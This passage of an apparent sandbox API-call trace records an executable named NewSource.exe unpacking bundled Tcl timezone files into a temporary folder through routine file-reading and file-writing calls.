(hostlong=0x12080000) returned 0x812 [0040.254] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.254] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x812, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x812, lpOverlapped=0x0) returned 1 [0040.255] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.255] CloseHandle (hObject=0x10c) returned 1 [0040.255] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.255] htonl (hostlong=0x30000000) returned 0x30 [0040.255] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.256] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.256] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.256] GetFileType (hFile=0x10c) returned 0x1 [0040.256] htonl (hostlong=0xf6f85a00) returned 0x5af8f6 [0040.256] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fa8f6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.256] htonl (hostlong=0xdc000000) returned 0xdc [0040.256] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xdc) returned 0x550600 [0040.256] htonl (hostlong=0xdc000000) returned 0xdc [0040.256] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.256] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.256] htonl (hostlong=0x68010000) returned 0x168 [0040.256] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x168) returned 0x5506e8 [0040.256] htonl (hostlong=0xdc000000) returned 0xdc [0040.256] htonl (hostlong=0x68010000) returned 0x168 [0040.256] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.256] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.256] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.256] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.257] CloseHandle (hObject=0x10c) returned 1 [0040.257] GetLastError () returned 0x0 [0040.257] SetLastError (dwErrCode=0x0) [0040.257] GetLastError () returned 0x0 [0040.257] SetLastError (dwErrCode=0x0) [0040.257] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.257] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.257] GetFileType (hFile=0x10c) returned 0x1 [0040.257] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.257] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.257] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.257] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.257] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.257] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.257] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.258] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.258] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.258] CloseHandle (hObject=0x10c) returned 1 [0040.258] GetLastError () returned 0x0 [0040.258] SetLastError (dwErrCode=0x0) [0040.258] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.258] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.258] GetFileType (hFile=0x10c) returned 0x1 [0040.258] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.258] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.258] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.258] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.258] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.258] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.258] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.258] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.258] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.258] CloseHandle (hObject=0x10c) returned 1 [0040.258] GetLastError () returned 0x0 [0040.258] SetLastError (dwErrCode=0x0) [0040.258] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.258] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.258] GetFileType (hFile=0x10c) returned 0x1 [0040.258] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.258] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.259] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.259] CloseHandle (hObject=0x10c) returned 1 [0040.259] GetLastError () returned 0x0 [0040.259] SetLastError (dwErrCode=0x0) [0040.259] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuala_Lumpur") returned 74 [0040.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuala_Lumpur" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kuala_lumpur"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.259] GetLastError () returned 0x2 [0040.259] SetLastError (dwErrCode=0x2) [0040.259] GetLastError () returned 0x2 [0040.259] SetLastError (dwErrCode=0x2) [0040.259] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuala_Lumpur", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuala_Lumpur", lpFilePart=0x0) returned 0x49 [0040.259] GetLastError () returned 0x2 [0040.259] SetLastError (dwErrCode=0x2) [0040.259] GetLastError () returned 0x2 [0040.259] SetLastError (dwErrCode=0x2) [0040.259] GetLastError () returned 0x2 [0040.259] SetLastError (dwErrCode=0x2) [0040.259] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuala_Lumpur") returned 74 [0040.259] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuala_Lumpur" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kuala_lumpur"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.260] GetFileType (hFile=0x10c) returned 0x1 [0040.260] htonl (hostlong=0x68010000) returned 0x168 [0040.260] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.260] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x168, lpOverlapped=0x0) returned 1 [0040.261] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.261] CloseHandle (hObject=0x10c) returned 1 [0040.261] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506e8 | out: hHeap=0x530000) returned 1 [0040.261] htonl (hostlong=0x30000000) returned 0x30 [0040.262] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.262] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.262] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.262] GetFileType (hFile=0x10c) returned 0x1 [0040.262] htonl (hostlong=0xd2f95a00) returned 0x5af9d2 [0040.262] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fa9d2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.262] htonl (hostlong=0xa010000) returned 0x10a [0040.262] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10a) returned 0x550600 [0040.262] htonl (hostlong=0xa010000) returned 0x10a [0040.262] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.262] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.262] htonl (hostlong=0xbf020000) returned 0x2bf [0040.262] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2bf) returned 0x550718 [0040.262] htonl (hostlong=0xa010000) returned 0x10a [0040.262] htonl (hostlong=0xbf020000) returned 0x2bf [0040.262] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.262] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.262] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.262] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.262] CloseHandle (hObject=0x10c) returned 1 [0040.262] GetLastError () returned 0x0 [0040.262] SetLastError (dwErrCode=0x0) [0040.262] GetLastError () returned 0x0 [0040.262] SetLastError (dwErrCode=0x0) [0040.262] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.263] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.263] GetFileType (hFile=0x10c) returned 0x1 [0040.263] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.263] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.263] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.263] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.263] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.263] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.263] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.263] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.263] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.263] CloseHandle (hObject=0x10c) returned 1 [0040.263] GetLastError () returned 0x0 [0040.263] SetLastError (dwErrCode=0x0) [0040.263] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.263] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.263] GetFileType (hFile=0x10c) returned 0x1 [0040.264] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.264] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.264] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.264] CloseHandle (hObject=0x10c) returned 1 [0040.264] GetLastError () returned 0x0 [0040.264] SetLastError (dwErrCode=0x0) [0040.264] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.264] GetFileType (hFile=0x10c) returned 0x1 [0040.264] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.264] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.264] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.264] CloseHandle (hObject=0x10c) returned 1 [0040.265] GetLastError () returned 0x0 [0040.265] SetLastError (dwErrCode=0x0) [0040.265] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuching") returned 69 [0040.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuching" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kuching"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.265] GetLastError () returned 0x2 [0040.265] SetLastError (dwErrCode=0x2) [0040.265] GetLastError () returned 0x2 [0040.265] SetLastError (dwErrCode=0x2) [0040.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuching", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuching", lpFilePart=0x0) returned 0x44 [0040.265] GetLastError () returned 0x2 [0040.265] SetLastError (dwErrCode=0x2) [0040.265] GetLastError () returned 0x2 [0040.265] SetLastError (dwErrCode=0x2) [0040.265] GetLastError () returned 0x2 [0040.265] SetLastError (dwErrCode=0x2) [0040.265] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuching") returned 69 [0040.265] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Kuching" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\kuching"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.266] GetFileType (hFile=0x10c) returned 0x1 [0040.266] htonl (hostlong=0xbf020000) returned 0x2bf [0040.266] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.266] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x2bf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x2bf, lpOverlapped=0x0) returned 1 [0040.267] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.267] CloseHandle (hObject=0x10c) returned 1 [0040.267] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550718 | out: hHeap=0x530000) returned 1 [0040.267] htonl (hostlong=0x30000000) returned 0x30 [0040.267] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.267] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.267] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: 